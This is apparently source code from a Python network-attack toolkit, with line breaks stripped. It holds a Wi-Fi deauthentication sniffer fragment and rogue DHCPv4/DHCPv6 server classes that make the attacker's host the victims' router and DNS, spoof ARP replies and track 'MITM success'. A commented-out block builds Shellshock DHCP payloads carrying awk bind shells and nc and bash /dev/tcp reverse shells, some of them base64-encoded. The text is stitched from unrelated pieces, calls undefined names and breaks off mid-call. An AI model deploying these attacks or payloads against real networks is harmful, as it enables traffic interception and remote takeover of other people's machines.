# region Main function if __name__ == "__main__": path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet from raw_packet.Utils.network import RawRadiotap from raw_packet.Utils.network import RawIEEE80211 from raw_packet.Utils.network import RawSniff from raw_packet.Utils.tm import ThreadManager base: Base = Base() eth: RawEthernet = RawEthernet() radio: RawRadiotap = RawRadiotap() iee: RawIEEE80211 = RawIEEE80211() tm: ThreadManager = ThreadManager(2) sniff: RawSniff = RawSniff() # region Start sniffer raw_socket.bind(('wlan0', 0)) init_deauth() print('test') sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0', filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}}) # endregion # endregion
class DHCPv4Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _arp: RawARP = RawARP() _eth: RawEthernet = RawEthernet() _dhcpv4: RawDHCPv4 = RawDHCPv4() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv4-address': None } _domain_search: Union[None, bytes] = None _free_ip_addresses: List[str] = list() _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict() _lease_time: int = 172800 _shellshock_option_code: int = 114 _discover_sender_is_work: bool = False _discover_sender_delay: float = 0.25 _send_dhcp_discover_packets: bool = False _send_dhcp_offer_packets: bool = True _send_broadcast_dhcp_response: bool = False _exit_on_success: bool = False _apple: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'ipv4-netmask', 'first-ipv4-address', 'second-ipv4-address', 'penultimate-ipv4-address', 'last-ipv4-address' ]) self._ipv4_network_mask: str = self._your['ipv4-netmask'] self._first_offer_ipv4_address: str = self._your['second-ipv4-address'] self._last_offer_ipv4_address: str = self._your[ 'penultimate-ipv4-address'] self._dhcp_server_mac_address: str = self._your['mac-address'] self._dhcp_server_ipv4_address: str = self._your['ipv4-address'] self._dns_server_ipv4_address: str = self._your['ipv4-address'] self._tftp_server_ipv4_address: str = self._your['ipv4-address'] self._wins_server_ipv4_address: str = self._your['ipv4-address'] self._router_ipv4_address: str = self._your['ipv4-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv4 server def start(self, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, ipv4_network_mask: Union[None, str] = None, first_offer_ipv4_address: Union[None, str] = None, last_offer_ipv4_address: Union[None, str] = None, dhcp_server_mac_address: Union[None, str] = None, dhcp_server_ipv4_address: Union[None, str] = None, dns_server_ipv4_address: Union[None, str] = None, tftp_server_ipv4_address: Union[None, str] = None, wins_server_ipv4_address: Union[None, str] = None, router_ipv4_address: Union[None, str] = None, domain_search: str = 'domain.local', lease_time: int = 172800, shellshock_option_code: int = 114, send_dhcp_discover_packets: bool = False, send_dhcp_offer_packets: bool = False, send_broadcast_dhcp_response: bool = False, exit_on_success: bool = False, apple: bool = False, quiet: bool = False): # region Set variables self._lease_time = lease_time self._domain_search = domain_search.encode('utf-8') self._send_dhcp_discover_packets = send_dhcp_discover_packets self._send_dhcp_offer_packets = send_dhcp_offer_packets self._send_broadcast_dhcp_response = send_broadcast_dhcp_response self._exit_on_success = exit_on_success self._apple = apple self._quiet = quiet # endregion # region Get your network settings if ipv4_network_mask is not None: self._ipv4_network_mask = ipv4_network_mask # endregion # region Set target MAC and IP address, if target IP is not set - get first and last offer IP # region Target MAC address is set if target_mac_address is not None: self._target['mac-address'] = self._utils.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IP is set if target_ipv4_address is not None: assert self._target['mac-address'] is not None, \ 'Please set target MAC address' + \ ', for target IP address: ' + self._base.info_text(target_ipv4_address) self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ipv4_address, parameter_name='target IPv4 address') # endregion # region Target IP is not set - get first and last offer IP else: # Check first offer IP address if first_offer_ipv4_address is not None: self._first_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=first_offer_ipv4_address, parameter_name='first offer IPv4 address') # Check last offer IP address if last_offer_ipv4_address is not None: self._last_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=last_offer_ipv4_address, parameter_name='last offer IPv4 address') # endregion # endregion # region Set DHCP sever MAC and IP address if dhcp_server_mac_address is not None: self._dhcp_server_mac_address = \ self._utils.check_mac_address(mac_address=dhcp_server_mac_address, parameter_name='DHCPv4 server MAC address') if dhcp_server_ipv4_address is not None: self._dhcp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='DHCPv4 server IPv4 address') # endregion # region Set router, dns, tftp, wins IP address # region Set router IP address if router_ipv4_address is not None: self._router_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='router IPv4 address') # endregion # region Set DNS server IP address if dns_server_ipv4_address is not None: assert self._base.ip_address_validation(dns_server_ipv4_address), \ 'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address) self._dns_server_ipv4_address = dns_server_ipv4_address # endregion # region Set TFTP server IP address if tftp_server_ipv4_address is not None: self._tftp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='TFTP server IPv4 address') # endregion # region Set WINS server IP address if wins_server_ipv4_address is not None: self._wins_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='WINS server IPv4 address') # endregion # endregion # region Set Shellshock option code if 255 < shellshock_option_code < 0: self._base.print_error( 'Bad Shellshock option code: ', str(shellshock_option_code), '; This value should be in the range from 1 to 254') exit(1) else: self._shellshock_option_code = shellshock_option_code # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your IP address: ', self._your['ipv4-address']) self._base.print_info('Your MAC address: ', self._your['mac-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC: ', self._target['mac-address']) # If target IP address is set print target IP, else print first and last offer IP if self._target['ipv4-address'] is not None: self._base.print_info('Target IP: ', self._target['ipv4-address']) else: self._base.print_info('First offer IP: ', self._first_offer_ipv4_address) self._base.print_info('Last offer IP: ', self._last_offer_ipv4_address) self._base.print_info('DHCP server mac address: ', self._dhcp_server_mac_address) self._base.print_info('DHCP server ip address: ', self._dhcp_server_ipv4_address) self._base.print_info('Router IP address: ', self._router_ipv4_address) self._base.print_info('DNS server IP address: ', self._dns_server_ipv4_address) self._base.print_info('TFTP server IP address: ', self._tftp_server_ipv4_address) self._base.print_info('WINS server IP address: ', self._wins_server_ipv4_address) # endregion # region Add ip addresses in list with free ip addresses from first to last offer IP if self._target['ipv4-address'] is None: self._base.print_info( 'Create list with free IP addresses in your network ...') self._free_ip_addresses = \ self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'], first_ipv4_address=self._first_offer_ipv4_address, last_ipv4_address=last_offer_ipv4_address, quiet=self._quiet) # endregion # region Send DHCP discover packets in the background thread if self._send_dhcp_discover_packets: if not self._quiet: self._base.print_info( 'Start DHCP discover packets send in the background thread ...' ) self._base.print_info('Delay between DHCP discover packets: ', str(self._discover_sender_delay)) self._thread_manager.add_task(self._discover_sender) # endregion # region Sniff network # region Print info message self._base.print_info('Waiting for a ARP or DHCP requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'ARP': { 'opcode': 1 }, 'UDP': { 'destination-port': 67, 'source-port': 68 } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add client info in clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Union[bool, str, Dict[str, Union[bool, str]]], this_client_already_in_dictionary: bool = False) -> None: if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Make DHCP offer packet def _make_dhcp_offer_packet( self, transaction_id: int, offer_ip: str, client_mac: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=2, your_client_ip=offer_ip, client_mac=client_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=None) # endregion # region Make DHCP ack packet def _make_dhcp_ack_packet( self, transaction_id: int, target_mac: str, target_ip: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None, shellshock_payload: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac: str = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip: str = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=5, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=shellshock_payload, payload_option_code=self._shellshock_option_code, domain=self._domain_search, tftp=self._tftp_server_ipv4_address, wins=self._wins_server_ipv4_address) # endregion # region Make DHCP nak packet def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str, target_ip: str, requested_ip: str) -> Union[None, bytes]: return self._dhcpv4.make_nak_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=target_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=requested_ip, transaction_id=transaction_id, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address) # endregion # region Send DHCP discover packets def _discover_sender(self, number_of_packets=999999) -> None: packet_index = 0 self._discover_sender_is_work = True while packet_index < number_of_packets: try: self._raw_send.send_packet( self._dhcpv4.make_discover_packet( ethernet_src_mac=self._your['mac-address'], client_mac=self._eth.make_random_mac(), host_name=self._base.make_random_string(), relay_agent_ip=self._your['ipv4-address'])) sleep(self._discover_sender_delay) except TypeError: self._base.print_error( 'Something went wrong when sending DHCP discover packets!') break packet_index += 1 self._discover_sender_is_work = False # endregion # region Reply to DHCPv4 and ARP requests def _reply(self, packet): # region DHCP if 'DHCPv4' in packet.keys(): # region Get transaction id and client MAC address transaction_id = packet['BOOTP']['transaction-id'] client_mac_address = packet['BOOTP']['client-mac-address'] # endregion # region Check this client already in dict client_already_in_dictionary = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region DHCP DISCOVER if packet['DHCPv4'][53] == 1: # region Print INFO message self._base.print_info('DHCP DISCOVER from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # endregion # If parameter 'Do not send DHCP OFFER packets' is not set if not self._send_dhcp_offer_packets: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # If target IP address is set - offer IP = target IP if self._target['ipv4-address'] is not None: offer_ip_address = self._target['ipv4-address'] # If target IP address is not set - offer IP = random IP from free IP addresses list else: random_index = randint(0, len(self._free_ip_addresses)) offer_ip_address = self._free_ip_addresses[ random_index] # Delete offer IP from free IP addresses list del self._free_ip_addresses[random_index] if self._send_broadcast_dhcp_response: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address) else: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address, client_mac_address, offer_ip_address) self._raw_send.send_packet(offer_packet) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'transaction': transaction_id, 'discover': True, 'offer_ip': offer_ip_address }, client_already_in_dictionary) # Print INFO message self._base.print_info('DHCP OFFER to: ', client_mac_address, ' offer IP: ', offer_ip_address) # endregion # region DHCP RELEASE if packet['DHCPv4'][53] == 7: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP RELEASE from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients # Add release client IP in free IP addresses list if client_ip not in self._free_ip_addresses: self._free_ip_addresses.append(client_ip) else: self._base.print_info('DHCP RELEASE from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'release': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP INFORM if packet['DHCPv4'][53] == 8: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP INFORM from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if client_ip in self._free_ip_addresses: self._free_ip_addresses.remove(client_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients else: self._base.print_info('DHCP INFORM from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'inform': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP REQUEST if packet['DHCPv4'][53] == 3: # region Set local variables requested_ip = '0.0.0.0' offer_ip = None # endregion # region Get requested IP if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # endregion # region Print info message self._base.print_info('DHCP REQUEST from: ', client_mac_address, ' transaction id: ', hex(transaction_id), ' requested ip: ', requested_ip) # endregion # region Requested IP not in range from first offer IP to last offer IP if not self._base.ip_address_in_range( requested_ip, self._first_offer_ipv4_address, self._last_offer_ipv4_address): self._base.print_warning( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not in range: ', self._first_offer_ipv4_address + ' - ' + self._last_offer_ipv4_address) # endregion # region Requested IP in range from first offer IP to last offer IP else: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # region Change client info in global self._clients dictionary # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'packet': True, 'requested_ip': requested_ip, 'transaction': transaction_id }, client_already_in_dictionary) # Delete ARP mitm success keys in dictionary for this client self._clients[client_mac_address].pop( 'client request his ip', None) self._clients[client_mac_address].pop( 'client request router ip', None) self._clients[client_mac_address].pop( 'client request dns ip', None) # endregion # region Get offer IP address try: offer_ip = self._clients[client_mac_address][ 'offer_ip'] except KeyError: pass # endregion # region This client already send DHCP DISCOVER and offer IP != requested IP if offer_ip is not None and offer_ip != requested_ip: # Print error message self._base.print_error('Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like offer IP: ', offer_ip) # Create and send DHCP nak packet nak_packet = \ self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: offer ip not like requested ip', 'offer_ip': None }, client_already_in_dictionary) # print self._clients # endregion # region Offer IP == requested IP or this is a first packet from this client else: # region Target IP address is set and requested IP != target IP if self._target[ 'ipv4-address'] is not None and requested_ip != self._target[ 'ipv4-address']: # Print error message self._base.print_error( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like target IP: ', self._target['ipv4-address']) # Create and send DHCP nak packet nak_packet = self._make_dhcp_nak_packet( transaction_id, client_mac_address, self._target['ipv4-address'], requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: target ip not like requested ip', 'offer_ip': None, 'nak': True }, client_already_in_dictionary) # endregion # region Target IP address is set and requested IP == target IP or Target IP is not set else: # # region Settings shellshock payload # payload: Union[None, str] = None # shellshock_payload: Union[None, str] = None # # try: # assert args.shellshock_command is not None \ # or args.bind_shell \ # or args.nc_reverse_shell \ # or args.nce_reverse_shell \ # or args.bash_reverse_shell, 'ShellShock not used!' # # region Create payload # # # Network settings command in target machine # net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \ # str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \ # ' dev ' + args.iface_name + ';' # # # Shellshock payload: <user bash command> # if args.shellshock_command is not None: # payload = args.shellshock_command # # # Shellshock payload: # # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' & # if args.bind_shell: # payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \ # '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &' # # # Shellshock payload: # # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f & # if args.nc_reverse_shell: # payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \ # your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &' # # # Shellshock payload: # # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 & # if args.nce_reverse_shell: # payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &' # # # Shellshock payload: # # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 & # if args.bash_reverse_shell: # payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \ # '/' + str(args.reverse_port) + ' 0>&1 &' # # if payload is not None: # # # Do not add network settings command in payload # if not args.without_network: # payload = net_settings + payload # # # Send payload to target in clear text # if args.without_self._base64: # shellshock_payload = '() { :; }; ' + payload # # # Send self._base64 encoded payload to target in clear text # else: # payload = b64encode(payload) # shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')' # # endregion # # # region Check Shellshock payload length # if shellshock_payload is not None: # if len(shellshock_payload) > 255: # self._base.print_error('Length of shellshock payload is very big! Current length: ', # str(len(shellshock_payload)), ' Maximum length: ', '254') # shellshock_payload = None # # endregion # # except AssertionError: # pass # # endregion # region Send DHCP ack and print info message if self._send_broadcast_dhcp_response: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip) else: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip, destination_mac=client_mac_address, destination_ip=requested_ip) if self._apple: self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) for _ in range(3): self._raw_send.send_packet(ack_packet) sleep(0.2) else: self._raw_send.send_packet(ack_packet) self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) # endregion # region Add client info in global self._clients dictionary try: self._clients[client_mac_address].update( {'mitm': 'success'}) except KeyError: self._clients[client_mac_address] = { 'mitm': 'success' } # endregion # endregion # endregion # endregion # endregion # region DHCP DECLINE if packet['DHCPv4'][53] == 4: # Get requested IP requested_ip = '0.0.0.0' if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # Print info message self._base.print_info( 'DHCP DECLINE from: ', requested_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if requested_ip in self._free_ip_addresses: self._free_ip_addresses.remove(requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'decline_ip': requested_ip, 'decline': True }, client_already_in_dictionary) # print self._clients # endregion # endregion DHCP # region ARP if 'ARP' in packet.keys(): if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['target-mac'] == '00:00:00:00:00:00': # region Set local variables arp_sender_mac_address = packet['ARP']['sender-mac'] arp_sender_ip_address = packet['ARP']['sender-ip'] arp_target_ip_address = packet['ARP']['target-ip'] # endregion # region Print info message self._base.print_info('ARP packet from: ', arp_sender_mac_address, ' "Who has ', arp_target_ip_address, ' Tell ', arp_sender_ip_address, '"') # endregion # region Get client mitm status try: mitm_status = self._clients[arp_sender_mac_address]['mitm'] except KeyError: mitm_status = '' # endregion # region Get client requested ip try: requested_ip = self._clients[arp_sender_mac_address][ 'requested_ip'] except KeyError: requested_ip = '' # endregion # region Create IPv4 address conflict if mitm_status.startswith('error'): arp_reply = self._arp.make_response( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=arp_sender_mac_address, sender_mac=self._your['mac-address'], sender_ip=arp_target_ip_address, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) self._raw_send.send_packet(arp_reply) self._base.print_info( 'ARP response to: ', arp_sender_mac_address, ' "', arp_target_ip_address + ' is at ' + self._your['mac-address'], '" (IPv4 address conflict)') # endregion # region MITM success if mitm_status.startswith('success'): if arp_target_ip_address == requested_ip: self._clients[arp_sender_mac_address].update( {'client request his ip': True}) if arp_target_ip_address == self._router_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request router ip': True}) if arp_target_ip_address == self._dns_server_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request dns ip': True}) try: assert self._clients[arp_sender_mac_address][ 'client request his ip'] assert self._clients[arp_sender_mac_address][ 'client request router ip'] assert self._clients[arp_sender_mac_address][ 'client request dns ip'] assert 'success message' not in self._clients[ arp_sender_mac_address].keys() self._base.print_success( 'MITM success: ', requested_ip + ' (' + arp_sender_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[arp_sender_mac_address].update( {'success message': True}) except KeyError: pass except AssertionError: pass
class DHCPv6Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _eth: RawEthernet = RawEthernet() _icmpv6: RawICMPv6 = RawICMPv6() _dhcpv6: RawDHCPv6 = RawDHCPv6() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv6-address': None } _clients: Dict[str, Dict[str, Union[bool, str]]] = dict() _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64' _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::' _first_ipv6_address_suffix: int = 2 _last_ipv6_address_suffix: int = 65534 _domain_search: str = 'domain.local' _solicit_packets_delay: float = 1 _disable_dhcpv6: bool = False _exit_on_success: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._dns_server_ipv6_address: str = self._your['ipv6-link-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv6 Server def start(self, target_mac_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, first_ipv6_address_suffix: int = 2, last_ipv6_address_suffix: int = 65534, dns_server_ipv6_address: Union[None, str] = None, ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64', domain_search: str = 'domain.local', disable_dhcpv6: bool = False, exit_on_success: bool = False, quiet: bool = False) -> None: # region Set variables self._ipv6_prefix: str = ipv6_prefix self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0] self._disable_dhcpv6 = disable_dhcpv6 self._domain_search = domain_search self._exit_on_success = exit_on_success self._quiet = quiet # endregion # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address # region Set target IPv6 address if target_mac_address is not None: self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IPv6 is set if target_ipv6_address is not None: assert target_mac_address is not None, \ 'Please set target MAC address for target IPv6 address: ' + \ self._base.info_text(str(target_ipv6_address)) self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') self._clients[self._target['mac-address']] = { 'advertise address': self._target['ipv6-address'] } # endregion # region Target IPv6 is not set - get first and last suffix IPv6 address else: # Check first suffix IPv6 address self._first_ipv6_address_suffix = \ self._utils.check_value_in_range(value=first_ipv6_address_suffix, first_value=1, last_value=65535, parameter_name='first IPv6 address suffix') # Check last suffix IPv6 address self._last_ipv6_address_suffix = \ self._utils.check_value_in_range(value=last_ipv6_address_suffix, first_value=self._first_ipv6_address_suffix, last_value=65535, parameter_name='last IPv6 address suffix') # endregion # endregion # region Set recursive DNS server address if dns_server_ipv6_address is not None: self._dns_server_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=dns_server_ipv6_address, is_local_ipv6_address=False, parameter_name='DNS server IPv6 address', check_your_ipv6_address=False) # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your MAC address: ', self._your['mac-address']) self._base.print_info('Your link local IPv6 address: ', self._your['ipv6-link-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) else: self._base.print_info('First suffix offer IP: ', str(self._first_ipv6_address_suffix)) self._base.print_info('Last suffix offer IP: ', str(self._last_ipv6_address_suffix)) self._base.print_info('Prefix: ', self._ipv6_prefix) self._base.print_info('Router IPv6 address: ', self._your['ipv6-link-address']) self._base.print_info('DNS IPv6 address: ', self._dns_server_ipv6_address) self._base.print_info('Domain search: ', self._domain_search) # endregion # region Send ICMPv6 advertise packets in other thread self._thread_manager.add_task(self._send_icmpv6_advertise_packets) # endregion # region Add multicast MAC addresses on interface self._add_multicast_mac_addresses() # endregion # region Start Sniffer # region Print info message self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'UDP': { 'destination-port': 547, 'source-port': 546 }, 'ICMPv6': { 'types': [133, 135] } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 547 or 546))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add multicast MAC addresses on interface def _add_multicast_mac_addresses(self): self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:00:00:02', exit_on_failure=False, quiet=self._quiet) self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:01:00:02', exit_on_failure=False, quiet=self._quiet) # endregion # region Add client info in global self._clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Dict[str, Union[bool, str]], this_client_already_in_dictionary: bool = False): if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Send ICMPv6 solicit packets def _send_icmpv6_solicit_packets(self): try: while True: icmpv6_solicit_packet = \ self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], need_source_link_layer_address=True, source_link_layer_address=self._eth.make_random_mac()) self._raw_send.send_packet(icmpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Send DHCPv6 solicit packets def _send_dhcpv6_solicit_packets(self): try: while True: request_options = [23, 24] dhcpv6_solicit_packet = \ self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], transaction_id=randint(1, 16777215), client_mac_address=self._eth.make_random_mac(), option_request_list=request_options) self._raw_send.send_packet(dhcpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Send ICMPv6 advertise packets def _send_icmpv6_advertise_packets(self): icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='33:33:00:00:00:01', ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', dns_address=self._dns_server_ipv6_address, 